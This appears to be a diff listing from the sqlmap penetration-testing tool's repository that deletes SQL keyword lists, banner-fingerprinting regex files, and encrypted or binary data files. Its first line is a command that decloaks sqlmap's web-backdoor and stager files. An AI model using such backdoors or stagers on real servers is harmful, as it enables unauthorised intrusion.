find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
Binary file not shown.
Binary file not shown.
-5
View File
@@ -1,5 +0,0 @@
=ÒÂá2nduÌŒ¡d0ÂÔ␍õÜ”=YïR$ú×_~±™Ø#tÈ
5ßãÀ¾Üc¨= iÏÔA°·^:CS–ö°5i@´±ÛÆ º<è/*¸òU%æP4 $ ™K‰Ú®Û")cúJ7
‡‚�½ŒÓSvÚz lB-'‹•Ùbœg‰W>AóqØ7Yê²Ýõ:ŠÙMI0³ÁÈ®‘TÙÍ<–1Cá–;DÚ:mK(×Þ {Hàsxd™Ÿùq×…lo¿ŒQß•Åâw8¬ÿ’Õ¸›Ï‹§'­‘a4Ž£ÍóÌCnõ,0£ó1}wMýÔÆM6dßç“ÑB4Ï/Îxg_�¦æFÆ%­Á›óá ÅI|ÒJ>ù”|µÍfr­ËœT,OÄâ¥␍®P¿¯T¶›G ó?²O9ðBñSáRºC
Ò
ö‹ö·2}^Þ5<$iãnÀ¨ô“s³Ú¤¾Ñ^9"wí…£°ˆqW†‡–W
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
-874
View File
@@ -1,874 +0,0 @@
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
ABSOLUTE
ACTION
ADD
ALL
ALLOCATE
ALTER
AND
ANY
ARE
AS
ASC
ASSERTION
AT
AUTHORIZATION
AVG
BEGIN
BETWEEN
BIT
BIT_LENGTH
BOTH
BY
CALL
CASCADE
CASCADED
CASE
CAST
CATALOG
CHAR
CHAR_LENGTH
CHARACTER
CHARACTER_LENGTH
CHECK
CLOSE
COALESCE
COLLATE
COLLATION
COLUMN
COMMIT
CONDITION
CONNECT
CONNECTION
CONSTRAINT
CONSTRAINTS
CONTAINS
CONTINUE
CONVERT
CORRESPONDING
COUNT
CREATE
CROSS
CURRENT
CURRENT_DATE
CURRENT_PATH
CURRENT_TIME
CURRENT_TIMESTAMP
CURRENT_USER
CURSOR
DATE
DAY
DEALLOCATE
DEC
DECIMAL
DECLARE
DEFAULT
DEFERRABLE
DEFERRED
DELETE
DESC
DESCRIBE
DESCRIPTOR
DETERMINISTIC
DIAGNOSTICS
DISCONNECT
DISTINCT
DO
DOMAIN
DOUBLE
DROP
ELSE
ELSEIF
END
ESCAPE
EXCEPT
EXCEPTION
EXEC
EXECUTE
EXISTS
EXIT
EXTERNAL
EXTRACT
FALSE
FETCH
FIRST
FLOAT
FOR
FOREIGN
FOUND
FROM
FULL
FUNCTION
GET
GLOBAL
GO
GOTO
GRANT
GROUP
HANDLER
HAVING
HOUR
IDENTITY
IF
IMMEDIATE
IN
INDICATOR
INITIALLY
INNER
INOUT
INPUT
INSENSITIVE
INSERT
INT
INTEGER
INTERSECT
INTERVAL
INTO
IS
ISOLATION
JOIN
KEY
LANGUAGE
LAST
LEADING
LEAVE
LEFT
LEVEL
LIKE
LOCAL
LOOP
LOWER
MATCH
MAX
MIN
MINUTE
MODULE
MONTH
NAMES
NATIONAL
NATURAL
NCHAR
NEXT
NO
NOT
NULL
NULLIF
NUMERIC
OCTET_LENGTH
OF
ON
ONLY
OPEN
OPTION
OR
ORDER
OUT
OUTER
OUTPUT
OVERLAPS
PAD
PARAMETER
PARTIAL
PATH
POSITION
PRECISION
PREPARE
PRESERVE
PRIMARY
PRIOR
PRIVILEGES
PROCEDURE
READ
REAL
REFERENCES
RELATIVE
REPEAT
RESIGNAL
RESTRICT
RETURN
RETURNS
REVOKE
RIGHT
ROLLBACK
ROUTINE
ROWS
SCHEMA
SCROLL
SECOND
SECTION
SELECT
SESSION
SESSION_USER
SET
SIGNAL
SIZE
SMALLINT
SOME
SPACE
SPECIFIC
SQL
SQLCODE
SQLERROR
SQLEXCEPTION
SQLSTATE
SQLWARNING
SUBSTRING
SUM
SYSTEM_USER
TABLE
TEMPORARY
THEN
TIME
TIMESTAMP
TIMEZONE_HOUR
TIMEZONE_MINUTE
TO
TRAILING
TRANSACTION
TRANSLATE
TRANSLATION
TRIM
TRUE
UNDO
UNION
UNIQUE
UNKNOWN
UNTIL
UPDATE
UPPER
USAGE
USER
USING
VALUE
VALUES
VARCHAR
VARYING
VIEW
WHEN
WHENEVER
WHERE
WHILE
WITH
WORK
WRITE
YEAR
ZONE
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
ADD
ALL
ALTER
ANALYZE
AND
ASASC
ASENSITIVE
BEFORE
BETWEEN
BIGINT
BINARYBLOB
BOTH
BY
CALL
CASCADE
CASECHANGE
CAST
CHAR
CHARACTER
CHECK
COLLATE
COLUMN
CONCAT
CONDITIONCONSTRAINT
CONTINUE
CONVERT
CREATE
CROSS
CURRENT_DATE
CURRENT_TIMECURRENT_TIMESTAMP
CURRENT_USER
CURSOR
DATABASE
DATABASES
DAY_HOUR
DAY_MICROSECONDDAY_MINUTE
DAY_SECOND
DEC
DECIMAL
DECLARE
DEFAULTDELAYED
DELETE
DESC
DESCRIBE
DETERMINISTIC
DISTINCTDISTINCTROW
DIV
DOUBLE
DROP
DUAL
EACH
ELSEELSEIF
ENCLOSED
ESCAPED
EXISTS
EXIT
EXPLAIN
FALSEFETCH
FLOAT
FLOAT4
FLOAT8
FOR
FORCE
FOREIGNFROM
FULLTEXT
GRANT
GROUP
HAVING
HIGH_PRIORITYHOUR_MICROSECOND
HOUR_MINUTE
HOUR_SECOND
IF
IFNULL
IGNORE
ININDEX
INFILE
INNER
INOUT
INSENSITIVE
INSERT
INTINT1
INT2
INT3
INT4
INT8
INTEGER
INTERVALINTO
IS
ISNULL
ITERATE
JOIN
KEY
KEYS
KILLLEADING
LEAVE
LEFT
LIKE
LIMIT
LINESLOAD
LOCALTIME
LOCALTIMESTAMP
LOCK
LONG
LONGBLOBLONGTEXT
LOOP
LOW_PRIORITY
MATCH
MEDIUMBLOB
MEDIUMINT
MEDIUMTEXTMIDDLEINT
MINUTE_MICROSECOND
MINUTE_SECOND
MOD
MODIFIES
NATURAL
NOTNO_WRITE_TO_BINLOG
NULL
NUMERIC
ON
OPTIMIZE
OPTION
OPTIONALLYOR
ORDER
OUT
OUTER
OUTFILE
PRECISIONPRIMARY
PROCEDURE
PURGE
READ
READS
REALREFERENCES
REGEXP
RELEASE
RENAME
REPEAT
REPLACE
REQUIRERESTRICT
RETURN
REVOKE
RIGHT
RLIKE
SCHEMA
SCHEMASSECOND_MICROSECOND
SELECT
SENSITIVE
SEPARATOR
SET
SHOW
SMALLINTSONAME
SPATIAL
SPECIFIC
SQL
SQLEXCEPTION
SQLSTATESQLWARNING
SQL_BIG_RESULT
SQL_CALC_FOUND_ROWS
SQL_SMALL_RESULT
SSL
STARTINGSTRAIGHT_JOIN
TABLE
TERMINATED
THEN
TINYBLOB
TINYINT
TINYTEXTTO
TRAILING
TRIGGER
TRUE
UNDO
UNION
UNIQUEUNLOCK
UNSIGNED
UPDATE
USAGE
USE
USING
UTC_DATEUTC_TIME
UTC_TIMESTAMP
VALUES
VARBINARY
VARCHAR
VARCHARACTERVARYING
VERSION
WHEN
WHERE
WHILE
WITH
WRITEXOR
YEAR_MONTH
ZEROFILL
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
ABS
ACOS
ALL
ALLOCATE
ALTER
ANALYSE
ANALYZE
AND
ANY
ARE
ARRAY
ARRAY_AGG
ARRAY_MAX_CARDINALITY
AS
ASC
ASENSITIVE
ASIN
ASYMMETRIC
AT
ATAN
ATOMIC
AUTHORIZATION
AVG
BEGIN
BEGIN_FRAME
BEGIN_PARTITION
BETWEEN
BIGINT
BINARY
BLOB
BOOLEAN
BOTH
BY
CALL
CALLED
CARDINALITY
CASCADED
CASE
CAST
CEIL
CEILING
CHAR
CHARACTER
CHARACTER_LENGTH
CHAR_LENGTH
CHECK
CLASSIFIER
CLOB
CLOSE
COALESCE
COLLATE
COLLATION
COLLECT
COLUMN
COMMIT
CONCURRENTLY
CONDITION
CONNECT
CONSTRAINT
CONTAINS
CONVERT
COPY
CORR
CORRESPONDING
COS
COSH
COUNT
COVAR_POP
COVAR_SAMP
CREATE
CROSS
CUBE
CUME_DIST
CURRENT
CURRENT_CATALOG
CURRENT_DATE
CURRENT_DEFAULT_TRANSFORM_GROUP
CURRENT_PATH
CURRENT_ROLE
CURRENT_ROW
CURRENT_SCHEMA
CURRENT_TIME
CURRENT_TIMESTAMP
CURRENT_TRANSFORM_GROUP_FOR_TYPE
CURRENT_USER
CURSOR
CYCLE
DATALINK
DATE
DAY
DEALLOCATE
DEC
DECFLOAT
DECIMAL
DECLARE
DEFAULT
DEFERRABLE
DEFINE
DELETE
DENSE_RANK
DEREF
DESC
DESCRIBE
DETERMINISTIC
DISCONNECT
DISTINCT
DLNEWCOPY
DLPREVIOUSCOPY
DLURLCOMPLETE
DLURLCOMPLETEONLY
DLURLCOMPLETEWRITE
DLURLPATH
DLURLPATHONLY
DLURLPATHWRITE
DLURLSCHEME
DLURLSERVER
DLVALUE
DO
DOUBLE
DROP
DYNAMIC
EACH
ELEMENT
ELSE
EMPTY
END
END-EXEC
END_FRAME
END_PARTITION
EQUALS
ESCAPE
EVERY
EXCEPT
EXEC
EXECUTE
EXISTS
EXP
EXTERNAL
EXTRACT
FALSE
FETCH
FILTER
FIRST_VALUE
FLOAT
FLOOR
FOR
FOREIGN
FRAME_ROW
FREE
FREEZE
FROM
FULL
FUNCTION
FUSION
GET
GLOBAL
GRANT
GROUP
GROUPING
GROUPS
HAVING
HOLD
HOUR
IDENTITY
ILIKE
IMPORT
IN
INDICATOR
INITIAL
INITIALLY
INNER
INOUT
INSENSITIVE
INSERT
INT
INTEGER
INTERSECT
INTERSECTION
INTERVAL
INTO
IS
ISNULL
JOIN
JSON_ARRAY
JSON_ARRAYAGG
JSON_EXISTS
JSON_OBJECT
JSON_OBJECTAGG
JSON_QUERY
JSON_TABLE
JSON_TABLE_PRIMITIVE
JSON_VALUE
LAG
LANGUAGE
LARGE
LAST_VALUE
LATERAL
LEAD
LEADING
LEFT
LIKE
LIKE_REGEX
LIMIT
LISTAGG
LN
LOCAL
LOCALTIME
LOCALTIMESTAMP
LOG
LOG10
LOWER
MATCH
MATCHES
MATCH_NUMBER
MATCH_RECOGNIZE
MAX
MEASURES
MEMBER
MERGE
METHOD
MIN
MINUTE
MOD
MODIFIES
MODULE
MONTH
MULTISET
NATIONAL
NATURAL
NCHAR
NCLOB
NEW
NO
NONE
NORMALIZE
NOT
NOTNULL
NTH_VALUE
NTILE
NULL
NULLIF
NUMERIC
OCCURRENCES_REGEX
OCTET_LENGTH
OF
OFFSET
OLD
OMIT
ON
ONE
ONLY
OPEN
OR
ORDER
OUT
OUTER
OVER
OVERLAPS
OVERLAY
PARAMETER
PARTITION
PATTERN
PER
PERCENT
PERCENTILE_CONT
PERCENTILE_DISC
PERCENT_RANK
PERIOD
PERMUTE
PLACING
PORTION
POSITION
POSITION_REGEX
POWER
PRECEDES
PRECISION
PREPARE
PRIMARY
PROCEDURE
PTF
RANGE
RANK
READS
REAL
RECURSIVE
REF
REFERENCES
REFERENCING
REGR_AVGX
REGR_AVGY
REGR_COUNT
REGR_INTERCEPT
REGR_R2
REGR_SLOPE
REGR_SXX
REGR_SXY
REGR_SYY
RELEASE
RESULT
RETURN
RETURNING
RETURNS
REVOKE
RIGHT
ROLLBACK
ROLLUP
ROW
ROWS
ROW_NUMBER
RUNNING
SAVEPOINT
SCOPE
SCROLL
SEARCH
SECOND
SEEK
SELECT
SENSITIVE
SESSION_USER
SET
SHOW
SIMILAR
SIN
SINH
SKIP
SMALLINT
SOME
SPECIFIC
SPECIFICTYPE
SQL
SQLEXCEPTION
SQLSTATE
SQLWARNING
SQRT
START
STATIC
STDDEV_POP
STDDEV_SAMP
SUBMULTISET
SUBSET
SUBSTRING
SUBSTRING_REGEX
SUCCEEDS
SUM
SYMMETRIC
SYSTEM
SYSTEM_TIME
SYSTEM_USER
TABLE
TABLESAMPLE
TAN
TANH
THEN
TIME
TIMESTAMP
TIMEZONE_HOUR
TIMEZONE_MINUTE
TO
TRAILING
TRANSLATE
TRANSLATE_REGEX
TRANSLATION
TREAT
TRIGGER
TRIM
TRIM_ARRAY
TRUE
TRUNCATE
UESCAPE
UNION
UNIQUE
UNKNOWN
UNMATCHED
UNNEST
UPDATE
UPPER
USER
USING
VALUE
VALUES
VALUE_OF
VARBINARY
VARCHAR
VARIADIC
VARYING
VAR_POP
VAR_SAMP
VERBOSE
VERSIONING
WHEN
WHENEVER
WHERE
WIDTH_BUCKET
WINDOW
WITH
WITHIN
WITHOUT
XML
XMLAGG
XMLATTRIBUTES
XMLBINARY
XMLCAST
XMLCOMMENT
XMLCONCAT
XMLDOCUMENT
XMLELEMENT
XMLEXISTS
XMLFOREST
XMLITERATE
XMLNAMESPACES
XMLPARSE
XMLPI
XMLQUERY
XMLSERIALIZE
XMLTABLE
XMLTEXT
XMLVALIDATE
YEAR
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
Binary file not shown.
-4
View File
@@ -1,4 +0,0 @@
Binary files in this folder are data files used by sqlmap on the target
system, but not executed on the system running sqlmap. They are licensed
under the terms of the GNU Lesser General Public License and their source
code is available on https://github.com/sqlmapproject/udfhack.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
-177
View File
@@ -1,177 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- Windows -->
<regexp value="(Microsoft|Windows|Win32)">
<info type="Windows"/>
</regexp>
<regexp value="Service Pack 0">
<info sp="0"/>
</regexp>
<regexp value="Service Pack 1">
<info sp="1"/>
</regexp>
<regexp value="Service Pack 2">
<info sp="2"/>
</regexp>
<regexp value="Service Pack 3">
<info sp="3"/>
</regexp>
<regexp value="Service Pack 4">
<info sp="4"/>
</regexp>
<regexp value="Service Pack 5">
<info sp="5"/>
</regexp>
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
<regexp value="Windows.*\b10\.0">
<info type="Windows" distrib="2016|2019|10|11"/>
</regexp>
<regexp value="Windows.*\b6\.3">
<info type="Windows" distrib="2012 R2|8.1"/>
</regexp>
<regexp value="Windows.*\b6\.2">
<info type="Windows" distrib="2012|8"/>
</regexp>
<regexp value="Windows.*\b6\.1">
<info type="Windows" distrib="2008 R2|7"/>
</regexp>
<regexp value="Windows.*\b6\.0">
<info type="Windows" distrib="2008|Vista"/>
</regexp>
<regexp value="Windows.*\b5\.2">
<info type="Windows" distrib="2003"/>
</regexp>
<regexp value="Windows.*\b5\.1">
<info type="Windows" distrib="XP"/>
</regexp>
<regexp value="Windows.*\b5\.0">
<info type="Windows" distrib="2000"/>
</regexp>
<regexp value="Windows.*\b4\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Windows.*\b3\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Windows.*\b2\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<!-- Linux -->
<regexp value="Linux">
<info type="Linux"/>
</regexp>
<regexp value="\bArch\b">
<info type="Linux" distrib="Arch"/>
</regexp>
<regexp value="CentOS">
<info type="Linux" distrib="CentOS"/>
</regexp>
<regexp value="Cobalt">
<info type="Linux" distrib="Cobalt"/>
</regexp>
<regexp value="Conectiva">
<info type="Linux" distrib="Conectiva"/>
</regexp>
<regexp value="Debian">
<info type="Linux" distrib="Debian"/>
</regexp>
<regexp value="Fedora">
<info type="Linux" distrib="Fedora"/>
</regexp>
<regexp value="Gentoo">
<info type="Linux" distrib="Gentoo"/>
</regexp>
<regexp value="Knoppix">
<info type="Linux" distrib="Knoppix"/>
</regexp>
<regexp value="Mandrake">
<info type="Linux" distrib="Mandrake"/>
</regexp>
<regexp value="Manjaro">
<info type="Linux" distrib="Manjaro"/>
</regexp>
<regexp value="Mandriva">
<info type="Linux" distrib="Mandriva"/>
</regexp>
<regexp value="\bMint\b">
<info type="Linux" distrib="Mint"/>
</regexp>
<regexp value="\bPuppy\b">
<info type="Linux" distrib="Puppy"/>
</regexp>
<regexp value="Red[\-\_\ ]?Hat">
<info type="Linux" distrib="Red Hat"/>
</regexp>
<regexp value="Slackware">
<info type="Linux" distrib="Slackware"/>
</regexp>
<regexp value="SuSE">
<info type="Linux" distrib="SuSE"/>
</regexp>
<regexp value="Ubuntu">
<info type="Linux" distrib="Ubuntu"/>
</regexp>
<!-- BSD -->
<regexp value="FreeBSD">
<info type="FreeBSD"/>
</regexp>
<regexp value="NetBSD">
<info type="NetBSD"/>
</regexp>
<regexp value="OpenBSD">
<info type="OpenBSD"/>
</regexp>
<!-- Mac OSX -->
<regexp value="Mac[\-\_\ ]?OSX">
<info type="Mac OSX"/>
</regexp>
<regexp value="Darwin">
<info type="Mac OSX"/>
</regexp>
</root>
File diff suppressed because it is too large Load Diff
-79
View File
@@ -1,79 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* https://en.wikipedia.org/wiki/Debian_version_history
-->
<root>
<regexp value="^([\d\.\-]+)[\-\_\ ].*">
<info dbms_version="1"/>
</regexp>
<!-- Windows -->
<regexp value="^([\d\.\-]+)[\-\_\ ].*nt$">
<info dbms_version="1" type="Windows"/>
</regexp>
<!-- Debian -->
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+potato">
<info dbms_version="1" type="Linux" distrib="Debian" release="2.1" codename="potato"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+woody">
<info dbms_version="1" type="Linux" distrib="Debian" release="3.0" codename="woody"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+sarge">
<info dbms_version="1" type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+etch">
<info dbms_version="1" type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+lenny">
<info dbms_version="1" type="Linux" distrib="Debian" release="5.0" codename="lenny"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+squeeze">
<info dbms_version="1" type="Linux" distrib="Debian" release="6.0" codename="squeeze"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+wheezy">
<info dbms_version="1" type="Linux" distrib="Debian" release="7" codename="wheezy"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+jessie">
<info dbms_version="1" type="Linux" distrib="Debian" release="8" codename="jessie"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+stretch">
<info dbms_version="1" type="Linux" distrib="Debian" release="9" codename="stretch"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+buster">
<info dbms_version="1" type="Linux" distrib="Debian" release="10" codename="buster"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bullseye">
<info dbms_version="1" type="Linux" distrib="Debian" release="11" codename="bullseye"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bookworm">
<info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+trixie">
<info dbms_version="1" type="Linux" distrib="Debian" release="13" codename="trixie"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+testing">
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
</regexp>
</root>
-7
View File
@@ -1,7 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="^Oracle\s+.*Release\s+([\d\.]+)\s+">
<info dbms_version="1"/>
</regexp>
</root>
-16
View File
@@ -1,16 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="PostgreSQL\s+([\w\.]+)">
<info dbms_version="1"/>
</regexp>
<!-- Windows -->
<regexp value="Visual C\+\+">
<info type="Windows"/>
</regexp>
<regexp value="mingw([\d]+)">
<info type="Windows"/>
</regexp>
</root>
-939
View File
@@ -1,939 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* https://en.wikipedia.org/wiki/Internet_Information_Services
* https://distrowatch.com
-->
<root>
<!-- Microsoft IIS -->
<regexp value="Microsoft-IIS/(10\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2019|2016|10"/>
</regexp>
<regexp value="Microsoft-IIS/(8\.5)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2012 R2|8.1"/>
</regexp>
<regexp value="Microsoft-IIS/(8\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2012|8"/>
</regexp>
<regexp value="Microsoft-IIS/(7\.5)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2008 R2|7"/>
</regexp>
<regexp value="Microsoft-IIS/(7\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2008|Vista"/>
</regexp>
<regexp value="Microsoft-IIS/(6\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2003|XP"/>
</regexp>
<regexp value="Microsoft-IIS/(5\.2)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2003"/>
</regexp>
<regexp value="Microsoft-IIS/(5\.1)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="XP"/>
</regexp>
<regexp value="Microsoft-IIS/(5\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="2000"/>
</regexp>
<regexp value="Microsoft-IIS/(4\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Microsoft-IIS/(3\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Microsoft-IIS/(2\.0)">
<info technology="Microsoft IIS" tech_version="1" type="Windows" distrib="NT 4.0"/>
</regexp>
<!-- Apache -->
<regexp value="Apache$">
<info technology="Apache"/>
</regexp>
<regexp value="Apache/([\w\.]+)">
<info technology="Apache" tech_version="1"/>
</regexp>
<regexp value="Apache[\-\_\ ]AdvancedExtranetServer/([\w\.]+)">
<info technology="Apache" tech_version="1"/>
</regexp>
<!-- Apache: CentOS -->
<regexp value="Apache/2\.0\.46 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="3"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="4"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="5"/>
</regexp>
<regexp value="Apache/2\.2\.15 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="6"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="7"/>
</regexp>
<regexp value="Apache/2\.4\.37 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="8"/>
</regexp>
<regexp value="Apache/2\.4\.48 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="9"/>
</regexp>
<!-- Apache: Debian -->
<regexp value="Apache/1\.0\.5 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.1" codename="buzz"/>
</regexp>
<regexp value="Apache/1\.1\.1 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.2" codename="rex"/>
</regexp>
<regexp value="Apache/1\.1\.3 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.3" codename="bo"/>
</regexp>
<regexp value="Apache/1\.3\.0 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="2.0" codename="hamm"/>
</regexp>
<regexp value="Apache/1\.3\.3 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="2.1" codename="slink"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) Debian\/GNU">
<info type="Linux" distrib="Debian" release="2.2" codename="potato"/>
</regexp>
<regexp value="Apache/1\.3\.26 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.0" codename="woody"/>
</regexp>
<regexp value="Apache/1\.3\.33 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Debian\)">
<info type="Linux" distrib="Debian" release="4" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.9 \(Debian\)">
<info type="Linux" distrib="Debian" release="5" codename="lenny"/>
</regexp>
<regexp value="Apache/2\.2\.16 \(Debian\)">
<info type="Linux" distrib="Debian" release="6" codename="squeeze"/>
</regexp>
<regexp value="Apache/2\.2\.22 \(Debian\)">
<info type="Linux" distrib="Debian" release="7" codename="wheezy"/>
</regexp>
<regexp value="Apache/2\.4\.10 \(Debian\)">
<info type="Linux" distrib="Debian" release="8" codename="jessie"/>
</regexp>
<regexp value="Apache/2\.4\.25 \(Debian\)">
<info type="Linux" distrib="Debian" release="9" codename="stretch"/>
</regexp>
<regexp value="Apache/2\.4\.38 \(Debian\)">
<info type="Linux" distrib="Debian" release="10" codename="buster"/>
</regexp>
<regexp value="Apache/2\.4\.48 \(Debian\)">
<info type="Linux" distrib="Debian" release="11" codename="bullseye"/>
</regexp>
<!-- Apache: Fedora -->
<regexp value="Apache/2\.0\.47 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow"/>
</regexp>
<regexp value="Apache/2\.0\.50 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.49 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang"/>
</regexp>
<regexp value="Apache/2\.0\.51 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="4" codename="Stentz"/>
</regexp>
<regexp value="Apache/2\.2\.0 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux"/>
</regexp>
<regexp value="Apache/2\.2\.2 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux" updated="True"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="6" codename="Zod"/>
</regexp>
<regexp value="Apache/2\.2\.4 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="7" codename="Moonshine"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="6|7" codename="Zod|Moonshine" updated="True"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="8" codename="Werewolf"/>
</regexp>
<regexp value="Apache/2\.2\.8 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="9" codename="Sulphur"/>
</regexp>
<regexp value="Apache/2\.2\.10 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="10" codename="Cambridge"/>
</regexp>
<regexp value="Apache/2\.2\.11 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="11" codename="Leonidas"/>
</regexp>
<regexp value="Apache/2\.2\.13 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="12" codename="Constantine"/>
</regexp>
<regexp value="Apache/2\.2\.15 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="13" codename="Goddard"/>
</regexp>
<regexp value="Apache/2\.2\.16 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="14" codename="Laughlin"/>
</regexp>
<regexp value="Apache/2\.2\.17 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="15" codename="Lovelock"/>
</regexp>
<regexp value="Apache/2\.2\.21 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="16" codename="Verne"/>
</regexp>
<regexp value="Apache/2\.2\.22 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="17" codename="Beefy"/>
</regexp>
<regexp value="Apache/2\.4\.3 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="18" codename="Spherical"/>
</regexp>
<regexp value="Apache/2\.4\.4 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="19" codename="Schrodingers"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="20" codename="Heisenbug"/>
</regexp>
<regexp value="Apache/2\.4\.10 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="21"/>
</regexp>
<regexp value="Apache/2\.4\.12 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="22"/>
</regexp>
